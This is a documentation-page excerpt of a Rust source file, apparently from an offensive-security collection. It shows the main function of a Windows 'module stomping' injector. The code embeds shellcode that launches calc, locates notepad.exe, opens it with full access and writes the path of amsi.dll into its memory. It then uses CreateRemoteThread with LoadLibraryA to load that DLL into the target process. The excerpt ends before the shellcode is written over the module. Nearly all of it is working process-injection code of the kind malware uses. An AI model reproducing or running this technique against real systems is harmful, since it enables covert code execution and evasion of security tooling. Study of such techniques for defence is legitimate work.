Function main

module_stomping/src/main.rs:21–128

()

#[cfg(target_os = "windows")]
fn main() {
    let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
    let shellcode_size = shellcode.len();

    let dll = "C:\\windows\\system32\\amsi.dll\0";

    let mut system = System::new();
    system.refresh_processes();

    let pid = system
        .processes_by_name("notepad.exe")
        .next()
        .expect("[-]no process!")
        .pid()
        .as_u32();

    unsafe {
        let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if handle == 0 {
            panic!("[-]OpenProcess failed: {}!", GetLastError());
        }

        let buffer = VirtualAllocEx(
            handle,
            null(),
            dll.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
        if buffer.is_null() {
            panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
        }

        let res = WriteProcessMemory(handle, buffer, dll.as_ptr().cast(), dll.len(), null_mut());
        if res == FALSE {
            panic!("[-]WriteProcessMemory failed: {}!", GetLastError());
        }

        let thread_routine = GetProcAddress(
            GetModuleHandleA(b"Kernel32\0".as_ptr()),
            b"LoadLibraryA\0".as_ptr(),
        );
        if thread_routine.is_none() {
            panic!("[-]GetProcAddress failed: {}!", GetLastError());
        }
        let dll_thread = CreateRemoteThread(
            handle,
            null(),
            0,
            transmute(thread_routine),
            buffer,
            0,
            null_mut(),
        );
        if dll_thread == 0 {
            panic!("[-]CreateRemoteThread failed: {}!", GetLastError());
        }